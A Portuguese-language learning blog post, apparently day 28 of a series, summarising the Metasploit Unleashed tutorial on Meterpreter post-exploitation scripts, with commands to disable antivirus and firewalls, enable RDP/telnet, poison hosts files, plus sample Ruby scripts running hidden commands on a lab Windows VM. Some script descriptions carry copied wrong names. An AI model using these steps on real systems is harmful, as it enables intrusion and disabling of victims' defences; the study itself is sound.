DIA#28-Ethical Hacking Tools (Metasploit- Utilização de Scripts)

     Continuo hoje no tutorial da Offensive Security, desta vez na parte a descrever a utilização de scripts no Metasploit.

Sctripts no Metasploit

    Os scripts na MSF são escritos na linguagem de programação Ruby, para um olhar sobre Ruby recomendo visitar "http://ruby-doc.com/docs/ProgrammingRuby/". Os scripts presentes em "https://github.com/rapid7/metasploit-framework/tree/master/scripts/meterpreter" podem ser bastante úteis tanto para ver como outras pessoas resolvem problemas como para tirar partes do código.
    Existem diferentes scripts incluídos na MSF alguns dos quais serão mencionados de seguida.

Checkvm

    O script "checkvm" é como o nome sugere uma ferramenta que permite observar se a máquina comprometida é uma máquina virtual. O script pode ser utilizado através do uso de "run checkvm" no meterpreter. 

Getcountermeasure

    O script "getcountermeasure" verifica a configuração da segurança do sistema comprometido, podendo desactivar medidas de segurança como Firewalls, A/V (Antivírus), etc. Corre-se este script através de "run getcountermeasure" no meterpreter.

Getgui

    O script "getgui" utiliza-se para activar RDP (Remote Desktop Protocol é usado para fazer logon para sessões windows de remotamente) no target system se estiver destivado. Para usar este script faz-se "run getgui" no meterpreter e depois escolhe-se as opções consoante o que for preciso. 

Get_Local_Subnets

    O script "get_local_subnets" é usado para saber a subnet local da vitima, esta informação pode ser bastante util para o pivoting. Para se usar o script escreve-se "run get_local_subnets" no meterpreter. 

Gettelnet

    O script "gettelnet" é usado para activar telnet (protocolo de rede na Internet ou redes locais usado para se comunicar atrvés de texto interactivo bidireccional usando uma conexão de terminal virtual) na vitima se estiver desactivado. Este script usa-se através de "run gettelnet" no meterpreter, escolhendo depois as opções necessárias. 

Hostedit

    O script "hostsedit" é usado para adicionar entradas nos hosts do windows. Como o windows verifica primeiro os ficheiros de hosts e só depois o DNS server, ajuda a desviar o trafego para entradas fake, podem-se fornecer uma ou mais entradas com o uso de um ficheiro com uma entrada por linha. Para se usar o script escreve-se "run hostsedit" no meterpreter, a partir de onde se escolhem as opções respetivas, um exemplo de uso é "run hostsedit -e 10.211.55.162,www.microsoft.com".  

Killav

    O script "killav" é usado para desactivar a maioria do antivírus a correr como um serviço no target. Este script usa-se através de "run killav" no meterpreter.   

Remotewinenum

    O script "remotewinenum" utiliza-se para enumerar informação do sistema através do WMIC (Windows Management Instrumentation Command-Line) na vitima. Este script usa-se através de "run remotewinenum" no meterpreter, a partir de onde se pode escolher as diferentes opções, um exemplo de uso deste script é "run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128".

Scraper

    O script "killav" é usado para obter ainda mais informação do sistema, incluindo todo o registry. Este script usa-se através de "run scraper" no meterpreter.

Winenum

    O script "remotewinenum" faz de uma ferramenta windows de enumeração bastante detalhada. Este script usa-se através de "run winenum" no meterpreter.

Chamadas API Úteis

    Para correr APIs é mais fácil correr a shell irb, que permite fazer as chamadas API directamente e ver o que retorna. Para entrar na shell é necessário utilizar "irb" no meterpreter. Estando agora dentro da shell, mostro de seguida alguns exemplos de chamadas API:

>> client.sys.config.sysinfo
=> {"OS"=>"Windows XP (Build 2600, Service Pack 3).", "Computer"=>"WINXPVM01"}
    Mostra a informação do sistema, como o OS e o nome da máquina do target host.

>> client.sys.config.sysinfo.class
=> Hash
    Mostra que tipos de valores são retornados.

>> client.sys.config.sysinfo['OS']
=> "Windows XP (Build 2600, Service Pack 3)."
    Utiliza a key "['OS']" para ir buscar elementos na hash, neste caso o OS.

>> client.sys.config.getuid
=> "WINXPVM01\labuser"
    Usa-se para saber as credenciais onde a payload está a correr na máquina. 

>> client.sys.process.getpid
=> 684
    Mostra o PID onde a sessão está a correr na máquina.

 >> interfaces = client.net.config.interfaces
 => [#, #]
 >> interfaces.each do |i|
 ?> puts i.pretty
 >> end
 MS TCP Loopback interface
 Hardware MAC: 00:00:00:00:00:00
 IP Address  : 127.0.0.1
 Netmask     : 255.0.0.0
 
 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
 Hardware MAC: 00:0c:29:dc:aa:e4
 IP Address  : 192.168.1.104
 Netmask     : 255.255.255.0
    Mostra a configuração da network e o contexto do target host.

Escrever Meterpreter Scripts

    Antes de começar a escrever scripts é preciso ter em mente que:
  • Nem todas as versões do windows são iguais, tendo certas versões contra-medidas para certos exploits;
  • Não existem todas as ferramentas da command line em todas as versões e determinadas ferramentas podem mudar os seus switches consoante a versão. 
    Para ver um exemplo da implementação e utilização de um script recomendo ir a "https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/".
    Noutro exemplo dado criou-se um script para retirar informações e que sabe lidar com erros que acabou como está na imagem em baixo, este ficheiro com o nome "helloworld2.rb" foi guardado em "/usr/share/metasploit-framework/scripts/meterpreter" e foi corrido numa sessão meterpreter através de "run helloworld2". No final do script está "getinfo(client)" para quando se correr o script chamar-se a função criada.
 
 def getinfo(session)
    begin
       sysnfo = session.sys.config.sysinfo
       runpriv = session.sys.config.getuid
       print_status("Getting system information ...")
       print_status("tThe target machine OS is #{sysnfo['OS']}")
       print _status("tThe computer name is #{'Computer'} ")
       print_status("tScript running as #{runpriv}")
 rescue ::Exception => e
       print_error("The following error was encountered #{e}")
    end
 end
 
 
 getinfo(client)

    Outro exemplo denominado "helloworld3.rb" encontra-se na imagem de seguida, em que se vai primeiramente definir uma função que leva dois parâmetros, sendo o segundo uma array. Depois a array vai passar por um ciclo "for each" que executa os items nela presentes. Este script também consegue lidar com erros.

 def list_exec(session,cmdlst)
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
       begin
          print_status "running command #{cmd}"
          r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
          while(d = r.channel.read)
 
             print_status("t#{d}")
          end
          r.channel.close
          r.close
       rescue ::Exception => e
          print_error("Error Running Command #{cmd}: #{e.class} #{e}")
       end
    end
 end
 
 commands = [ "set",
    "ipconfig  /all",
    "arp -a"]
 
 list_exec(client,commands)

Que irá dar um resultado tipo a imagem seguinte.

 meterpreter > run helloworld3
 [*] Running Command List ...
 [*]     running command set
 [*]     ALLUSERSPROFILE=C:\Documents and Settings\All Users
 APPDATA=C:\Documents and Settings\P0WN3D\Application Data
 CommonProgramFiles=C:\Program Files\Common Files
 COMPUTERNAME=TARGET
 ComSpec=C:\WINNT\system32\cmd.exe
 HOMEDRIVE=C:
 HOMEPATH=
 LOGONSERVER=TARGET
 NUMBER_OF_PROCESSORS=1
 OS=Windows_NT
 Os2LibPath=C:\WINNT\system32\os2dll;
 Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem
 PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
 PROCESSOR_ARCHITECTURE=x86
 PROCESSOR_IDENTIFIER=x86 Family 6 Model 7 Stepping 6, GenuineIntel
 PROCESSOR_LEVEL=6
 PROCESSOR_REVISION=0706
 ProgramFiles=C:\Program Files
 PROMPT=$P$G
 SystemDrive=C:
 SystemRoot=C:\WINNT
 TEMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
 TMP=C:\DOCUME~1\P0WN3D\LOCALS~1\Temp
 USERDOMAIN=TARGET
 USERNAME=P0WN3D
 USERPROFILE=C:\Documents and Settings\P0WN3D
 windir=C:\WINNT
 
 [*]     running command ipconfig  /all
 [*]     
 Windows 2000 IP Configuration
 
 Host Name . . . . . . . . . . . . : target
 Primary DNS Suffix  . . . . . . . : 
 Node Type . . . . . . . . . . . . : Hybrid
 IP Routing Enabled. . . . . . . . : No
 WINS Proxy Enabled. . . . . . . . : No
 DNS Suffix Search List. . . . . . : localdomain
 
 Ethernet adapter Local Area Connection:
 
 Connection-specific DNS Suffix  . : localdomain
 Description . . . . . . . . . . . : VMware Accelerated AMD PCNet Adapter
 Physical Address. . . . . . . . . : 00-0C-29-85-81-55
 DHCP Enabled. . . . . . . . . . . : Yes
 Autoconfiguration Enabled . . . . : Yes
 IP Address. . . . . . . . . . . . : 172.16.104.145
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . : 172.16.104.2
 DHCP Server . . . . . . . . . . . : 172.16.104.254
 DNS Servers . . . . . . . . . . . : 172.16.104.2
 Primary WINS Server . . . . . . . : 172.16.104.2
 Lease Obtained. . . . . . . . . . : Tuesday, August 25, 2009 10:53:48 PM
 Lease Expires . . . . . . . . . . : Tuesday, August 25, 2009 11:23:48 PM
 
 [*]     running command arp -a
 [*]     
 Interface: 172.16.104.145 on Interface 0x1000003
 Internet Address      Physical Address      Type
 172.16.104.2          00-50-56-eb-db-06     dynamic   
 172.16.104.150        00-0c-29-a7-f1-c5     dynamic   
 
 meterpreter >


PS.

Comentários

Mensagens populares deste blogue

DIA#36-OverTheWire-Bandit (LVL 2)

DIA#45-OverTheWire-Bandit (LVL 11)

DIA#52-OverTheWire-Bandit (LVL 18)